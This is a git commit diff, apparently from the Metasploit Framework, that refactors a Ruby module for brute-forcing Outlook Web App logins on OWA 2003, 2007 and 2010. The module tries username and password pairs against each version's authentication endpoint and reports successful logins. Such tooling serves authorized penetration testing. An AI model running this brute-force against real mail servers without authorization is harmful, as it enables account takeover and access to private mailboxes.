Improve:
- Use 'Actions' to configure which OWA version to try - Fix a bug where the USER_AS_PASS option might overwrite PASSWORD (and not restoring it) even though a password is already set. - Increase timeout to 25 - Update description
This commit is contained in:
parent
db90989db4
commit
ce6b1d6b8c
|
@ -17,21 +17,53 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
|
||||
'Description' => %q{
|
||||
This module tests credentials on OWA 2003, 2007 and 2010 servers.
|
||||
This module tests credentials on OWA 2003, 2007 and 2010 servers. The default
|
||||
action is set to OWA 2010.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Vitor Moreira',
|
||||
'Spencer McIntyre',
|
||||
'SecureState R&D Team'
|
||||
'SecureState R&D Team',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[
|
||||
'OWA 2003',
|
||||
{
|
||||
'Description' => 'OWA version 2003',
|
||||
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
|
||||
'InboxPath' => '/exchange/',
|
||||
'InboxCheck' => /Inbox/
|
||||
}
|
||||
],
|
||||
[
|
||||
'OWA 2007',
|
||||
{
|
||||
'Description' => 'OWA version 2007',
|
||||
'AuthPath' => '/owa/auth/owaauth.dll',
|
||||
'InboxPath' => '/owa/',
|
||||
'InboxCheck' => /addrbook.gif/
|
||||
}
|
||||
],
|
||||
[
|
||||
'OWA 2010',
|
||||
{
|
||||
'Description' => 'OWA version 2010',
|
||||
'AuthPath' => '/owa/auth.owa',
|
||||
'InboxPath' => '/owa/',
|
||||
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'OWA 2010'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [ true, "The target port", 443]),
|
||||
OptString.new('VERSION', [ true, "OWA VERSION (2003, 2007, or 2010)", '2007'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
|
@ -43,11 +75,30 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('BLANK_PASSWORDS')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
# Restore the original settings
|
||||
datastore['BLANK_PASSWORDS'] = @blank_passwords_setting
|
||||
datastore['USER_AS_PASS'] = @user_as_pass_setting
|
||||
end
|
||||
|
||||
def run
|
||||
datastore['BLANK_PASSWORDS'] = false # OWA doesn't support blank passwords
|
||||
# Store the original setting
|
||||
@blank_passwords_setting = datastore['BLANK_PASSWORDS']
|
||||
|
||||
# OWA doesn't support blank passwords
|
||||
datastore['BLANK_PASSWORDS'] = false
|
||||
|
||||
# If there's a pre-defined username/password, we need to turn off USER_AS_PASS
|
||||
# so that the module won't just try username:username, and then exit.
|
||||
@user_as_pass_setting = datastore['USER_AS_PASS']
|
||||
if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil?
|
||||
print_status("Disabling 'USER_AS_PASS' because you've specified an username/password")
|
||||
datastore['USER_AS_PASS'] = false
|
||||
end
|
||||
|
||||
vhost = datastore['VHOST'] || datastore['RHOST']
|
||||
|
||||
print_status("#{msg} Testing version #{datastore['VERSION']}")
|
||||
print_status("#{msg} Testing version #{action.name}")
|
||||
|
||||
# Here's a weird hack to check if each_user_pass is empty or not
|
||||
# apparently you cannot do each_user_pass.empty? or even inspect() it
|
||||
|
@ -58,34 +109,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
print_error("No username/password specified") if isempty
|
||||
|
||||
if datastore['VERSION'] == '2003'
|
||||
authPath = '/exchweb/bin/auth/owaauth.dll'
|
||||
inboxPath = '/exchange/'
|
||||
loginCheck = /Inbox/
|
||||
elsif datastore['VERSION'] == '2007'
|
||||
authPath = '/owa/auth/owaauth.dll'
|
||||
inboxPath = '/owa/'
|
||||
loginCheck = /addrbook.gif/
|
||||
elsif datastore['VERSION'] == '2010'
|
||||
authPath = '/owa/auth.owa' # Post creds here
|
||||
inboxPath = '/owa/' # Get request with cookie/sessionid
|
||||
loginCheck = /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/ # check result
|
||||
else
|
||||
print_error('Invalid VERSION, select one of 2003, 2007, or 2010')
|
||||
return
|
||||
end
|
||||
auth_path = action.opts['AuthPath']
|
||||
inbox_path = action.opts['InboxPath']
|
||||
login_check = action.opts['InboxCheck']
|
||||
|
||||
begin
|
||||
each_user_pass do |user, pass|
|
||||
vprint_status("#{msg} Trying #{user} : #{pass}")
|
||||
try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
|
||||
try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
|
||||
print_error("#{msg} HTTP Connection Error, Aborting")
|
||||
end
|
||||
end
|
||||
|
||||
def try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
|
||||
def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
|
||||
user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != ''
|
||||
headers = {
|
||||
'Cookie' => 'PBack=0'
|
||||
|
@ -100,11 +138,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
res = send_request_cgi({
|
||||
'encode' => true,
|
||||
'uri' => authPath,
|
||||
'uri' => auth_path,
|
||||
'method' => 'POST',
|
||||
'headers' => headers,
|
||||
'data' => data
|
||||
}, 20)
|
||||
}, 25)
|
||||
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error("#{msg} HTTP Connection Failed, Aborting")
|
||||
|
@ -129,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => inboxPath,
|
||||
'uri' => inbox_path,
|
||||
'method' => 'GET',
|
||||
'headers' => headers
|
||||
}, 20)
|
||||
|
@ -148,7 +186,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return :skip_pass
|
||||
end
|
||||
|
||||
if res.body =~ loginCheck
|
||||
if res.body =~ login_check
|
||||
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
|
|
Loading…
Reference in New Issue